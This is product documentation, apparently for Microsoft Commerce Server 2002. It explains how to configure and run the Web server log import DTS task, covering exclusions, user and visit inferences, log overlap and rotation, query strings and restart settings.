  • After you perform this procedure, you must run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.
  • For non-IIS servers, the default settings are Index.html, Index.htm, and Default.htm. If these settings are not correct for your site, change them to ensure that your request count will be accurate.

To set a directory index file

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. On the Default Files tab, in the Advanced Web Log Import Properties dialog box, do the following:
    Use this | To do this
    Truncate top level directory from file system paths | Select this check box to display file name strings without their top-level directories.
    Site uses .NET cookieless sessions | Select this check box if your site uses .NET cookieless sessions.
    Directory index file | Type the name of the file you want to designate as a directory index file.
    Add | Click to add the new directory index file to the default file list.
  6. Click Apply, and then click OK.

    The directory index files have been set for the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

See Also

Running the Configuration Synchronization DTS Task

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Setting Web Log File Exclusions

You can exclude certain types of data from your imports. By excluding certain data, you keep the size of your Data Warehouse manageable, and page requests are more accurately defined in your reports. You can exclude the following types of data:

  • Hosts. You can exclude data from users who originate from certain hosts (for example, employees or software testers). This feature is typically used to exclude internal hosts. However, you can specify any host for exclusion.

    The Data Warehouse will not import hits associated with hosts that you exclude. The hits associated with the excluded hosts are, however, included in some aggregation-only reports, such as Summary Hit Counts and Bandwidth Data.

    When you enter a host name to exclude, you must type a string that Commerce Server 2002 can use to search the log files. For example, www.microsoft.com will exclude information from users whose host is www.microsoft.com. Do not include spaces in the name you type.

  • File types. Although one page in your Web site can include several files, you want to ensure that only one page request is counted rather than a hit for each file in a page. For example, if a page includes graphics that are stored in separate files but are logically part of the page, exclude the graphics files from the import for more accurate hit counts. You can set the Excludes property to exclude files by specifying the file name extensions of the types of files you want to exclude.

    By default, files with the extensions .gif, .jpg, .jpeg, .css, and .cdf are excluded from Commerce Server imports. You can also remove file extensions from the exclude list. The name you type is the string that Commerce Server will search for in the log files. You must type the extension exactly.

  • File expressions. In addition to excluding a file from being imported by its file extension, you can exclude a file by its file path. You can provide a complete file expression for an individual file, or you can use wildcard characters to exclude a group of files that share similar characters in their expressions.

    File expressions are not case sensitive. Do not include an underscore (_) or spaces. You must type the exact string for which you want Commerce Server to search.

    The following table lists the wildcard characters you can use in file expressions.

    Character Description Example
    * Matches any number of characters in a character string t* matches Test, total, and Terrific
    ? Matches any single alphanumeric character Te?t matches Test and text
  • Crawlers. Search engines rely on crawlers that pace through the World Wide Web checking for certain content, titles, key words, and so on. By default, crawlers are excluded from import to prevent hits by Internet search engines, robots, and any other user agent from being imported into the Data Warehouse. (These hits, however, are used in reports such as Summary Hit Counts and Bandwidth Data.)

    You can find a list of crawlers that are excluded by default in the Commerce Server root directory, in the file Crawler.ini. The default list includes the major crawlers that are excluded by the major Web auditing organizations. You can add new crawlers to the exclude list or restore crawlers for import; however, restoring crawlers might reduce your overall system performance.

The Excludes tab of the Advanced Web Log Import Properties dialog box provides a drop-down list from which you can choose the type of data you want to work with. Select the All option from the list if you want to see a list of all the exclusions.

By default, excluding data from import excludes that data for all applications running on your site. You can also exclude data from specific applications, while including similar data from other applications on your site.

For example, if you have two site applications, Application1 and Application2, and each application contains a directory named /Examples, you can choose to exclude the content in the /Examples directory for both applications, or you can specify that data should be excluded only from the /Examples directory of Application1. The content in the Application2 /Examples directory will continue to be imported.

Note

  • After you perform this procedure, you must synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.

To add an import exclusion

To delete an import exclusion

To add an import exclusion

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Excludes tab, do the following:
    Use this | To do this
    Include default crawler list for the exclude criteria | Select this check box to prevent crawlers on the default crawler list from being imported.
    Add | Click to open the Excludes dialog box to create a new exclude item.
  6. In the Excludes dialog box, do the following:
    Use this | To do this
    Select exclude category | Select from the drop-down list the type of exclusion you want to add.
    Name | Type the string Commerce Server will search for in the log files. For example, type *.gif to exclude graphic files. Commerce Server will not import items that match the string you type. The string cannot contain spaces.
    All applications within a site | Select this option if you want to exclude the item from all applications within a site.
    Selected applications within a site | Select this option if you want to specify an application from which to exclude the item.
    Select all | Select this option to exclude the data from all of the applications listed above the button.
    Deselect all | Select this option to cancel the selection of all of the applications listed above the button.
  7. Click OK to close the Excludes dialog box and return to the Excludes tab of the Advanced Web Log Import Properties dialog box.
  8. Continue to add exclusions. When you are finished, click Apply, and then click OK to save your additions and close the dialog box.

    The import exclusions are configured for the Web log file import process.

  9. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

To delete an import exclusion

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Excludes tab, do the following:
    Use this | To do this
    Exclude Type | Select the exclude item you want to delete.
    Remove | Remove the exclude item.
  6. Click Apply, and then click OK to close the dialog box.

    The import exclusions are configured for the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

See Also

Running the Configuration Synchronization DTS Task

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Accuracy of Inferences

Commerce Server 2002 uses the concept of user visits to understand Web site traffic. A visit can be defined as a set of requests from the same user within a specified time span. However, the identification of users is not completely accurate because the Web client computers send only a limited amount of data to the Web server computer. Commerce Server attempts to identify users based on the properties in the Web log file. Inferences refer to the process of identifying unique users based on the user and visit data in the Web log file.

The accuracy of inferences depends on the data that is available. To maximize accuracy, Commerce Server uses a user inferencing algorithm on each hit in a priority order:

  • If the hits include Commerce Server or customer-defined cookies, or user names, the accuracy is quite good because the users are being identified explicitly: they have enabled cookies, they are within a domain, or your site is using AuthManager, which supports cookieless shopping.
  • If the hits do not include cookies or user names, Commerce Server uses a combination of the client IP address and client browser agents to identify the users. In this scenario, the accuracy cannot be measured.
  • If client IP addresses are translated to a single IP address, use either cookies or user names in the Web server log import for inferring users.

    Two DTS tasks are affected by IP translations:

    • Web server log import task. When inferring users, if the IP address of some users is translated to a single IP, and if the users all use the same browser, then they will be treated as same user.

      For example, if there are ten users whose IP address is translated to single IP address, and five of those users use browserA and remaining five use browserB, then all ten users will be treated as two users. This is the result if the IP address and browser type (instead of cookies or user names) are used for inferring users.

    • IP resolution task. When some IP addresses are translated to a single IP address, you may not get accurate domain information on all of the users visiting the site because the IP resolution task performs a look-up on only one IP address.

    To use either cookies or user names to infer users, see Setting User Inferences.

You can set user and visit inferences in the Data Warehouse to customize the assumptions made during import about users and visits to best meet the analysis needs.

Note

  • After you perform these procedures, you must synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.

For information about analyzing data from cookies, see Analyzing Data from Cookies.

See Also

Running the Configuration Synchronization DTS Task

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Setting User Inferences

You might want to identify users as individuals whose browsing or buying patterns are of interest.

Commerce Server offers three options for identifying users:

  • Use Commerce Server identification cookies for inferences. You can set Commerce Server to automatically issue encrypted cookies that identify distinct users and associate them with user profiles in the Commerce Server database.
  • Use custom cookie identifiers. You can add a custom cookie identifier.
  • Use user names for inferences. User names are the values of the cs-username field in the W3C log files.

Note

  • If you previously used Microsoft Site Server 3.0 Commerce Edition (SSCE), the Site Server cookies that were in use at that time are now treated as custom cookies. They appear in the list of custom cookies on the Inferences tab, in the Advanced Web Log Import Properties dialog box, just beneath the text box labeled Enter new custom cookie identifier.

By default, all three options are enabled for Commerce Server. Unless you disable one or more of these options, they will be used in the following order to identify users:

  • MSCSProfile in the cs(Cookie) field. Profile cookie issued by Commerce Server, stored in the W3C log file.
  • MSCSProfile in the cs-uri-query field. Profile cookie issued by Commerce Server, passed in the URL query string if the site is in cookieless mode.
  • MSCSAuth in the cs(Cookie) field. Authentication cookie issued by Commerce Server, stored in the W3C log file.
  • MSCSAuth in the cs-uri-query field. Authentication cookie issued by Commerce Server, passed in the URL query string if the site is in cookieless mode.
  • Custom cookie in the cs(Cookie) field. Cookie that a user might have chosen to accept, stored in the W3C log file.
  • Username. Field in the W3C log file (cs-username) as defined by the HTTP specification. The HTTP server populates this field with whatever user name is available. In most Internet scenarios, this field is not populated because the users are anonymous.
  • Client IP and User Agent. Client IP address and client browser string as defined by the HTTP specification.

To set an inference for users

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Inferences tab, do the following:
    Use this | To do this
    Use Commerce Server identification cookies for inferences | Select this check box if you want to use Commerce Server cookies for user inferences.
    Use user names for inferences | Select this check box if you want to use unique user names for inferences.
    Use custom cookie identifiers | Select this check box if you want to use custom cookies for inferences.
    Enter new custom cookie identifier | Type the identifier for your custom cookie in this box.
    Add | Click to add the new custom cookie identifier.
    Remove | Click to remove the selected custom cookie identifiers.
    Up | Click to move the selected custom cookie identifier up in the list. Cookies are run in the order that they appear in this list.
    Down | Click to move the selected custom cookie identifier down in the list. Cookies are run in the order that they appear in this list.
  6. Click Apply, and then click OK.

    The user inference is configured for the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

See Also

Running the Configuration Synchronization DTS Task

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Setting Visit Inferences

A visit to a Web site is the length of time a unique user spends interacting with that Web site. Typically, a visit begins when a user accesses a site either by clicking a link to the site, or by typing the site URL into the Address box of their browser. Determining when a visit ends is more difficult. If the user closes the browser in the middle of a session, minimizes the browser, or types a new URL into the Address box of the browser, there is no log entry indicating that the visit has ended.

To compensate for the lack of a clear indication that a visit has ended, Commerce Server sets a default visit time-out of 30 minutes of user inactivity to declare that a visit has ended. If you choose, you can change the length of the visit time-out to better meet the needs of your Web site. If the visit time-out elapses, ending the visit, and the user returns to the site a moment later, the report will show two visits.

Note

  • In some cases, your server might not log user visit activity chronologically, which can cause data for a visit to be imported out of chronological order. The Data Warehouse can adjust for this up to the specified length of the visit time-out. However, if a visit exceeds the visit time-out, the accuracy of your data will be impacted.

To set an inference for visits

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Inferences tab, type a number in the Visit Inferences box to designate the minutes of user inactivity to allow before a visit ends.
  6. Click Apply, and then click OK.

    The visit inference is configured for the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

See Also

Running the Configuration Synchronization DTS Task

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Extending the Data Warehouse

Data Warehouse Schema

Troubleshooting the Data Warehouse Import Process


Setting Time Overlap and Log File Rotation Properties

You use the time overlap property to eliminate redundancy that can occur when log files contain requests that overlap in time. You use the log file rotation property to eliminate redundancy or the loss of data that can occur when log files are rotated among servers to keep the log files from getting too large.

Without the time overlap and log file rotation settings, it is impossible to import log files into the Data Warehouse without losing activity data because log files are continually created as your site operates. Your files might contain data for overlapping time periods if you run log files on separate servers, interrupt and resume logging on a single server, accidentally re-import a log file, or concatenate distinct log files.

Note

  • After you perform these procedures, you must synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.

Time Overlaps

Log File Rotation

Time Overlaps

Time overlaps can occur if you have multiple servers associated with a site, interrupt and resume logging on a single server, accidentally re-import a log file, or concatenate distinct log files. (Concatenation makes tracking time overlaps extremely difficult and therefore should be avoided.) The default time overlap period for Commerce Server is 30 minutes.

When a time overlap is detected during import, by default the overlapping requests are discarded and the remaining requests are imported. You can change both the time overlap period and the action you want to occur when an overlap is detected.

If you import a log file accidentally, you can delete the log file by using the Data Deletion task. For information about deleting log files, see Running the Data Deletion DTS Task.

The following figure shows how the four overlap actions, Discard records and proceed, Import all records, Stop the import, and Stop all imports affect the portions of the second and third log files that are retained when a time overlap is detected.

Web log file time overlap.

To configure Web log file time overlaps

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Log Files tab, do the following:
    Use this | To do this
    Number of minutes that records must overlap | Type the number of minutes that records must overlap.
    If overlap is detected Select an action to take if an overlap is detected:
    • Discard records and proceed. (Default setting) Discards all overlap requests and imports the remaining requests.
    • Import all records. Imports all requests, including overlap requests.
    • Stop the import. Does not import the log file containing overlap requests. All other log files are imported.
    • Stop all imports. Stops all log file imports. You must delete the imported log file if you do not want to keep the data imported before the overlap request was detected.

    Note

    • Select Stop the import or Stop all imports to troubleshoot problems you might experience with importing.
  6. Click Apply, and then click OK.

    The time overlap property is now configured for the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

Log File Rotation

Log file rotations cause an arbitrary cutoff of data in log files because data for some visits are divided between the end of one log file and the beginning of the next. You can choose to store, commit, or disregard the open visits at the end of your import process.

To set log file rotation

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Log Files tab, do the following:
    Use this To do this
    When import is completed Select an action to take with the open visits at the end of your import process:
    • Store open visits for the next import. (Default setting) Reconstructs the actual visit as if there were one seamless log file. This option takes slightly more time because the open visits must be called up from the cache at each new import. You must import log files in chronological order for this option to work correctly.
    • Commit all open visits to database. The visit count is higher at the opening and closing of the log file period because visits that span those two periods are counted twice.
    • Discard open visits. The report count is lower at the closing of the log file period, because visits that have not been closed are dropped.
  6. Click Apply, and then click OK.

    The log file rotation property is now configured for the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

See Also

Running the Configuration Synchronization DTS Task

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Extending the Data Warehouse

Data Warehouse Schema


Setting Query String Import Properties for Web Log Files

If your site uses query strings, you can record the query strings in log files and import them into the Data Warehouse. Query strings can be used in your site for searching or running executable files. If you have a list of query strings that your site uses, you can enable reporting on the content associated with those query strings.

By default, query strings are stored with the Uniform Resource Identifier (URI) in the Data Warehouse. The query strings allow you to perform HTML title lookups for the pages on your site that use query strings. However, if there are many different combinations of parameter names and values for the query strings in your log files, the number of imported requests could increase substantially, which can reduce system performance. If this occurs, you might want to discontinue storing query strings with the URI.

Notes

  • After you perform these procedures, you must synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.
  • The Data Warehouse can import a combined maximum of 256 single- and multi-valued query strings.
  • Imported query strings can consist of a maximum of 150 single-valued query strings or a maximum of 256 multi-valued query strings. Importing too many query strings can cause the Web log import process to fail.
  • The Data Warehouse limits the length of imported multi-valued strings (including query strings) to 512 characters. Any multi-valued query string consisting of more than 512 characters is truncated to 512 characters when it is imported.

To configure query strings for import

To remove a query string from import

To view the properties of a query string configuration

To configure query strings for import

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Query Strings tab, do the following:
    Use this | To do this
    Save query strings with URI | Select this check box if you want to store your query strings together with their associated URIs in the Data Warehouse.
    Add | Click to open the Query Strings dialog box.
  6. In the Query Strings dialog box, do the following:
    Use this | To do this
    Name Type the name of the query string exactly as it appears in your log files.

    The name cannot match any of the default Data Warehouse columns; it also cannot contain "CEVT" (this grouping of letters is reserved for Commerce Server query strings). In addition, the name cannot contain spaces or include the characters: ', ", +, &, ^, ', ", {,}, <, >, or =.

    All applications within a site | Select this option to import query strings from all applications within the site.
    Selected applications within a site | Select this option to select the applications for which you want to import query strings.
    Select data type Select from the drop-down list the data type of your query string. Four data types are possible: integer, string, date/time, or real.

    The maximum number of characters for the data type string is 255.
    Multivalue data type | Select this check box if your query string has a multi-value data type.
  7. Click OK to close the Query Strings dialog box.
  8. Click Apply, and then click OK.

    Query strings are configured for the Web log file import process.

  9. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

To remove a query string from import

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Query Strings tab, select the query string you want to remove, and then click Remove.
  6. Click Apply, and then click OK.

    The query string is removed from the Web log file import process.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now import data into the Data Warehouse.

To view the properties of a query string configuration

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Query Strings tab, click Properties to open the Query Strings dialog box. (You cannot change any of the properties shown.)

    Note

    • To change properties, you must first remove the query string for import, and then add it again with the new properties you want.
  6. Click OK, and then click OK again.

See Also

Configuring the Web Server Log Import DTS Task

Importing Data into the Data Warehouse

Troubleshooting the Data Warehouse Import Process


Setting Web Log Import Restart Properties

You use the Restart tab of the Import Web Server Logs dialog box to configure your restart options. If the Data Warehouse encounters an erroneous import log, the restart option can either automatically stop the entire import process or delete the erroneous log and continue after all the retry attempts have failed.

Note

  • After you perform this procedure, you must synchronize your site configuration with the Data Warehouse before importing data into the Data Warehouse.

To set Web log file import restart options

  1. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  2. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  3. On the Task menu, click Web server log import (Commerce Server).
  4. In the Import Web Server Logs dialog box, click Advanced.
  5. In the Advanced Web Log Import Properties dialog box, on the Restart tab, in the Restart settings section, do the following:
    Use this | To do this
    Retry exhaust action | Select either Stop the import at the end of retries or Delete the problem log import and continue from the drop-down list.
    Number of restart attempts | Specify the number of times Commerce Server should attempt to restart an import process that has failed.
  6. Click OK, and then click OK again.

    The restart options are set for Web log imports.

  7. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.

You can now run the Commerce Server import DTS tasks to import data into the Data Warehouse.

See Also

Restarting, Ignoring, or Deleting a Failed Web Server Log Import Task

Troubleshooting the Data Warehouse Import Process


Running the Web Server Log Import DTS Task

This topic explains how to run the Web server log import DTS task. Before running this task, it is recommended that you read Best Practices for Running the Web Server Log Import Task and Import Best Practices.

Web server log files store data that is obtained when users visit your site and click links to site pages. The data includes the length of time a user spent visiting your site, referring site, ad clicks, ad reach, click frequency, and the path the user takes through the site, including entry and exit pages.

You use the Web server log import DTS task to specify which log files to import into the Data Warehouse, and where they are located. For information about configuring this DTS task, see Configuring the Web Server Log Import DTS Task.

The Web log file import task looks for the log files in the specified location, parses them, and applies the properties that you configured for the Web server log import task.

You can import log files from Web sites that are not running Internet Information Services (IIS) 5.0 (and do not include Commerce Server) as long as they are in the W3C extended log file format. For more information about adding applications and Web servers that do not use Commerce Server components, see Adding a Non-Commerce Application to a Site.

If your site has more than one Web server, the Web log file import process combines the files from the different Web servers in memory, and organizes the log file data chronologically. The Web log file import process filters the Web log file data by using the import properties you set. It applies a user visit inferential algorithm to transform click data into distinct user and visit counts. For information about setting user inferences, see Setting User Inferences. For information about setting visit inferences, see Setting Visit Inferences.

Additionally, if you select to import query strings associated with the Web site, the Web log file import process imports them. For information about configuring Web log files, see Configuring the Web Server Log Import DTS Task.

For information about setting up import properties for Web log file data, see Configuring the Web Server Log Import DTS Task.

To import Web log files from a single site into your Data Warehouse

To import Web log files from all associated sites into your Data Warehouse

To import Web log files from a single site into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Web server log import (Commerce Server).
  5. In the Import Web Server Logs dialog box, do the following:
    Use this | To do this
    Description | Type a description for the import task.
    Operation level | Select Site level from the drop-down list.
    Site | Select from the drop-down list the name of the Web site that contains the Web server log you are importing.
    Log file path | Type the path of the Web log file you want to import, or click Log Files to select the Web log files you want to import from the Web Server Log Files list.
    All logs since last import | Select this option to specify that all log files created since the last import will be imported.
    Logs by data/time range | Select this option to specify that only log files created between the Start date/time and End date/time will be imported.
    Start date/time Type the date and time for the beginning of the range from which log files will be imported. This option is available only if you select the Logs by date/time range option.

    The value for this option is stored in the Sitesummary table in the Data Warehouse.
    End date/time Type the date and time for the end of the range from which log files will be imported. This option is available only if you select the Logs by date/time range option.

    The value for this option is stored in the Sitesummary table in the Data Warehouse.
  6. In the Retry properties section, do the following:
    Use this | To do this
    Number of retries Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.

    Note

    • To specify the number of times the Web log import process is to be restarted before proceeding to the next import process, click Advanced, and then click the Restart tab.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

    Note

    • If the Web log file import process fails, run the Data deletion DTS task to delete the data associated with that Web log file, and then run the Report preparation DTS task to refresh the OLAP cubes.
  9. Click OK, and then click Done.

    The data from the Web log file is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

To import Web log files from all associated sites into your Data Warehouse

  1. Run the Configuration synchronization DTS task to synchronize your site configuration with the Data Warehouse. For instructions, see Running the Configuration Synchronization DTS Task.
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. In the Select File dialog box, click the package you want to change, and then click Open.

  4. On the Task menu, click Web server log import (Commerce Server).
  5. In the Import Web Server Logs dialog box, do the following:
    Use this | To do this
    Description | Type a description for the import task.
    Operation level | Select Data Warehouse level from the drop-down list.
    Data warehouse | Select from the drop-down list the name of the Data Warehouse associated with the sites for which you are importing Web log file data.
    Log file path | Type the path of the Web log file you want to import, or click Log Files to select the Web log files you want to import from the Web Server Log Files list.
    All logs since last import | Select this option to specify that all log files created since the last import will be imported.
    Logs by data/time range | Select this option to specify that only log files created between the Start date/time and End date/time will be imported.
    Start date/time | Type the date and time for the beginning of the range from which log files will be imported. This option is available only if you select the Logs by data/time range option.
    End date/time | Type the date and time for the end of the range from which log files will be imported. This option is available only if you select the Logs by data/time range option.
  6. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts Type the number of times you want the task to retry connection failures to the Data Warehouse. The default number of retry attempts is 10.

    Note

    • To specify the number of times the Web log import process is to be restarted before proceeding to the next import process, click Advanced, and then click the Restart tab.
    Seconds between retries | Type the number of seconds you want the task to wait between retry attempts. The default time interval is 30 seconds.
  7. Click OK.

    Note

    • You can add multiple DTS tasks to a package, add sequencing or workflow information, and then run all the tasks in the package.
  8. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you that it completed successfully.

    Note

    • If the Web log file import process fails, run the Data deletion task to delete the data associated with that Web log file, and then run the Report preparation task to refresh the OLAP cubes.
  9. Click OK, and then click Done.

    The data from the site Web log files is imported into the Data Warehouse.

  10. Run the Report preparation DTS task to organize the imported data into the designated OLAP cubes. For instructions about running the Report preparation task, see Running the Report Preparation DTS Task.

This data is now available for reports.

See Also

Import Best Practices

Best Practices for Running the Web Server Log Import Task

Workflow for Running DTS Tasks

Best Practices for the Data Warehouse

ETL Process for the Web Server Log Import DTS Task

Running the Web Server Log Import DTS Task for a Large Site

Troubleshooting the Data Warehouse Import Process

Reports Based on Web Log File Data

Restarting, Ignoring or Deleting a Failed Web Server Log Import Task

Configuring the Web Server Log Import DTS Task

Commerce Server Performance Counters

Extending the Data Warehouse

Data Warehouse Schema

Securing the Data Warehouse

Securing Reports


Best Practices for Running the Web Server Log Import DTS Task

This topic lists best practices and important notes for running the Web server log import task.

  • If you have multiple applications and log files, use a script to configure the Web log import DTS instead of using the user interface. For instructions, see Scripting the Web Server Log Import DTS Task.
  • If you are running the Web log import DTS task by using a script, you must specify a 3 gigabyte (GB) switch in the Windows 2000 Boot.ini file on the computer hosting the Data Warehouse (SQL Server) and on the computer hosting the Analysis server. For instructions, see Running the Web Server Log Import DTS Task for a Large Site
  • The Web log file import process will not import log files while Internet Information Services (IIS) is actively writing to them. Do not import your log file directly from your Web site. Instead, verify that the server is no longer accessing the file, and then copy the file to a different directory. You can then import it from the directory you selected.
  • If you are importing Web log data for multiple sites, and you perform a Data Warehouse level operation to import data for all sites associated with the Data Warehouse, the Web server log import task imports all log files in the log path depending on the criteria set for All logs since last import, or Logs by date/time range. The Web log import task does not recognize that you might have cleared the selection for some log files at the site level that you do not want to import.
  • If you are using the Campaign features of the Targeting System, the Web server log import task imports the URIs for campaign events, even if you do not run the Campaign data import task. The Web log files are the source of this data.
  • For information about importing log files from non-Commerce Web servers, see Knowledge Base article Q293887 HOWTO: Analyze Non-Commerce Web Server Log Files, located at http://go.microsoft.com/fwlink/?LinkId=5166.
  • Commerce Server only supports files in W3C extended log format. If you are importing Apache or Lotus logs, you must convert them to that format before you can import them.
  • Use the following performance counters for this task:
    • UImport: Free hit buffers. The number of currently available empty hit buffers.
    • UImport: Used hit buffers. The number of currently filled hit buffers.
    • UImport: Hits per second. The rate per second at which the import task is processing hits.
    • UImport: Current visits. The total number of active visits recorded while the log files are processed.
    • UImport: Commerce events. The total number of Commerce Server events that occurred for the import task.
    • UImport: Decoded cookies. The total number of Commerce Server-decoded cookies encountered while the import task was running.
